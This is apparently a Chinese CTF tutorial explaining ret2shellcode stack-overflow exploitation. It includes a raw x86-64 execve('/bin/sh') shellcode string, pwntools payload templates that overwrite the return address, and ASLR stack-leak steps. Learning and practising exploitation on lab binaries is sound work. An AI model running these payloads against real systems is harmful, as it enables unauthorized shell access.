攻击原理

ret2shellcode 的基本概念

ret2shellcode(Return to Shellcode) 是最经典的栈溢出利用技术之一,核心思想是:

  1. 将精心构造的 shellcode(机器码)写入到可执行的内存区域

  2. 通过栈溢出覆盖返回地址,跳转到 shellcode 的起始地址

  3. 程序执行 shellcode,通常用于获取 shell 或执行其他恶意操作

Shellcode 简介

Shellcode 是一段用于实现特定功能的机器码,通常非常精简。最常见的 shellcode 是用于执行 /bin/sh 获取 shell:

1
2
3
4
5
# 64位 Linux execve("/bin/sh", NULL, NULL)
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

# 或者使用 pwntools 生成
shellcode = asm(shellcraft.sh())

ret2shellcode 的前提条件

ret2shellcode 攻击需要满足以下条件:

  1. 栈可执行(No NX)

    • 程序必须没有开启 NX(No Execute)保护
    • 栈必须被标记为可执行
    • 可以通过 checksec 检查:Stack: No canary found, NX: NX disabled
  2. 能够写入 shellcode

    • 存在可以写入数据的漏洞(gets、read、scanf 等)
    • 能够将 shellcode 写入到可执行的内存区域
  3. 能够控制返回地址

    • 存在栈溢出漏洞
    • 能够覆盖返回地址
  4. 知道 shellcode 地址

    • 如果栈地址固定(No PIE),可以直接计算
    • 如果栈地址随机(PIE/ASLR),需要泄露栈地址

攻击原理详解

栈上的 shellcode 布局

当 shellcode 被写入栈上时,内存布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
高地址
+------------------+
| 返回地址 | ← 覆盖为 shellcode 地址
+------------------+
| 保存的rbp | ← 可能被覆盖
+------------------+
| 局部变量区域 |
| ... |
| shellcode | ← shellcode 写入的位置
| ... |
+------------------+
低地址

攻击流程

  1. 写入 shellcode

    1
    2
    3
    # 通过栈溢出或其他方式将 shellcode 写入栈
    # shellcode 通常写入到缓冲区中
    payload = shellcode + b'A' * (offset - len(shellcode))
  2. 覆盖返回地址

    1
    2
    3
    4
    5
    6
    7
    8
    # 计算 shellcode 的地址
    # 方法1:如果栈地址固定,可以直接计算
    shellcode_addr = buffer_addr # 或 buffer_addr + offset

    # 方法2:如果栈地址随机,需要泄露
    # 先泄露某个栈地址,然后计算相对偏移

    payload += p64(shellcode_addr) # 覆盖返回地址
  3. 执行 shellcode

    • 函数返回时,ret 指令弹出返回地址到 rip
    • 程序跳转到 shellcode 地址
    • CPU 开始执行 shellcode 的机器码
    • shellcode 执行,获取 shell 或完成其他操作

地址获取方法

方法1:直接计算(No PIE + No ASLR)

如果程序没有 PIE 保护,栈地址相对固定,可以直接计算:

1
2
3
4
# 通过调试确定缓冲区地址
# gdb 中:print $rsp 或 x/10gx $rsp
buffer_addr = 0x7fffffffe000 # 示例地址
shellcode_addr = buffer_addr

方法2:泄露栈地址(ASLR 开启)

如果开启了 ASLR,栈地址随机,需要泄露:

1
2
3
4
5
6
7
8
9
10
11
# 第一次溢出:泄露栈地址
payload1 = b'A' * offset
payload1 += p64(pop_rdi) + p64(elf.got['puts']) # 泄露某个地址
payload1 += p64(elf.plt['puts'])
payload1 += p64(main_addr)

io.sendline(payload1)
leaked_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))

# 计算 shellcode 地址(需要知道相对偏移)
shellcode_addr = leaked_addr - offset

方法3:利用环境变量

在某些情况下,可以将 shellcode 写入环境变量,环境变量地址相对固定:

1
2
3
4
# 设置环境变量
os.environ['SHELLCODE'] = shellcode

# 在程序中泄露环境变量地址,或通过调试确定

攻击示意图

1
2
3
4
5
6
7
8
9
10
11
正常执行:
func() → 执行函数体 → ret → 返回调用者

ret2shellcode 攻击:
func() → gets(buffer) → 写入 shellcode

栈溢出覆盖返回地址为 shellcode 地址

ret → 跳转到 shellcode

执行 shellcode → 获取 shell

关键要点

  • NX 保护:ret2shellcode 要求栈可执行,如果开启了 NX,需要使用 ret2libc 等其他技术

  • 地址精度:必须准确知道 shellcode 的地址,地址错误会导致程序崩溃

  • shellcode 长度:确保缓冲区足够大,能够容纳 shellcode

  • 地址泄露:如果栈地址随机,需要先泄露地址再计算 shellcode 位置

  • shellcode 生成:可以使用 pwntools 的 shellcraft 模块生成,或使用现成的 shellcode

例题

思路总结

ret2shellcode 是最基础的栈溢出利用技术,通过将 shellcode 写入可执行内存并跳转执行来实现攻击。核心思路是"写入-定位-跳转"。

攻击步骤

  1. 检查程序保护机制

    1
    checksec ./binary
    • 关键:必须 NX: NX disabled(栈可执行)
    • 最好 No canary(无栈保护)
    • PIE 保护不影响,但需要泄露地址
  2. 分析漏洞点

    • 寻找可以写入数据的函数:getsreadscanf
    • 确认缓冲区大小,确保能够容纳 shellcode
    • 确认存在栈溢出,能够覆盖返回地址
  3. 生成或准备 shellcode

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *

    # 方法1:使用 pwntools 生成
    context.arch = 'amd64' # 或 'i386'
    shellcode = asm(shellcraft.sh()) # 生成 execve("/bin/sh")

    # 方法2:使用现成的 shellcode
    # 64位 Linux
    shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

    # 方法3:自定义 shellcode(使用 shellcraft)
    shellcode = asm(shellcraft.execve('/bin/sh'))
  4. 确定 shellcode 地址

    情况1:栈地址固定(No PIE + No ASLR)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 通过 gdb 调试确定缓冲区地址
    # gdb ./binary
    # (gdb) b func # 在漏洞函数处下断点
    # (gdb) r
    # (gdb) print $rsp # 查看栈指针
    # (gdb) x/10gx $rsp # 查看栈内容

    buffer_addr = 0x7fffffffe000 # 从调试中获得
    shellcode_addr = buffer_addr # shellcode 通常从缓冲区开始

    情况2:栈地址随机(ASLR 开启)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # 需要先泄露栈地址
    # 第一次溢出:泄露某个栈地址
    payload1 = b'A' * offset
    payload1 += p64(pop_rdi) + p64(some_stack_addr) # 泄露栈上某个地址
    payload1 += p64(elf.plt['puts'])
    payload1 += p64(main_addr) # 返回 main,准备第二次溢出

    io.sendline(payload1)
    leaked_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))

    # 计算 shellcode 地址(需要知道相对偏移)
    # 通过调试确定偏移量
    shellcode_addr = leaked_addr - offset
  5. 构造 payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 计算偏移量
    offset = 0x30 + 0x8 # 缓冲区大小 + saved rbp

    # 构造 payload
    payload = shellcode # shellcode 放在前面
    payload += b'A' * (offset - len(shellcode)) # 填充到 saved rbp
    payload += p64(shellcode_addr) # 覆盖返回地址

    # 注意:如果 shellcode 地址在缓冲区中间,需要相应调整
  6. 发送 payload 并获取 shell

    1
    2
    io.sendline(payload)
    io.interactive()

关键技巧

  1. Shellcode 的放置位置

    • 放在缓冲区开头:最简单,shellcode_addr = buffer_addr
    • 放在缓冲区中间:如果开头有其他数据,需要计算偏移
    • 放在环境变量:某些情况下可以放在环境变量中
  2. 地址计算技巧

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 如果 shellcode 在缓冲区开头
    shellcode_addr = buffer_addr

    # 如果 shellcode 在缓冲区中间(偏移 offset)
    shellcode_addr = buffer_addr + offset

    # 如果通过泄露计算
    # 需要知道泄露地址与 shellcode 的相对偏移
    shellcode_addr = leaked_addr - known_offset
  3. 处理地址随机化(ASLR)

    • 泄露栈地址:通过格式化字符串或栈溢出泄露
    • 计算相对偏移:通过调试确定固定偏移量
    • 多次尝试:某些情况下可以暴力尝试(不推荐)
  4. Shellcode 优化

    1
    2
    3
    4
    5
    6
    7
    # 避免坏字符(如 \x00、\x0a、\x0d)
    shellcode = asm(shellcraft.sh())
    # 如果输入函数是 gets,需要避免 \x0a(换行符)
    # 如果输入函数是 scanf,需要避免空格等

    # 使用编码避免坏字符
    # 或使用其他 shellcode
  5. 调试技巧

    1
    2
    3
    4
    5
    6
    7
    8
    # 在 payload 中添加调试信息
    # 例如:在 shellcode 前添加 int3(\xcc)触发断点
    debug_shellcode = b'\xcc' + shellcode

    # 使用 gdb 动态调试
    # gdb ./binary
    # (gdb) b *func+xxx # 在返回前下断点
    # (gdb) x/20gx $rsp # 查看栈内容,确认 shellcode 和返回地址
  6. 处理栈对齐

    • 64位系统调用时要求栈16字节对齐
    • 如果 shellcode 中的系统调用失败,可能是对齐问题
    • 可以在 shellcode 前添加 sub rsp, 8 等指令调整

常见问题

  • NX 保护开启:如果栈不可执行,无法使用 ret2shellcode,需要改用 ret2libc

  • 地址计算错误:使用 gdb 仔细调试,确认 shellcode 的实际地址

  • Shellcode 执行失败:检查 shellcode 是否完整写入,地址是否正确

  • 坏字符问题:某些输入函数对特殊字符敏感,需要避免或编码

  • 栈对齐问题:64位系统调用需要栈对齐,在 shellcode 中处理对齐

  • ASLR 绕过:需要泄露栈地址,或寻找其他可执行区域(如可执行的堆)

与其他技术对比

技术 前提条件 适用场景
ret2shellcode 栈可执行(No NX) 最简单直接,适合入门
ret2text 程序中有后门函数 程序提供现成函数
ret2libc 可泄露 libc 地址 NX 开启时的标准方法
ret2syscall 可构造 ROP 链 复杂但灵活

进阶技巧

  1. 使用其他可执行区域

    • 如果栈不可执行,但堆可执行,可以将 shellcode 写入堆
    • 某些程序有可执行的 data 段或 bss 段
  2. Shellcode 编码

    • 使用编码技术绕过坏字符检测
    • 使用 alphanumeric shellcode(纯字母数字)
  3. 多阶段利用

    • 第一阶段:写入 shellcode
    • 第二阶段:跳转执行 shellcode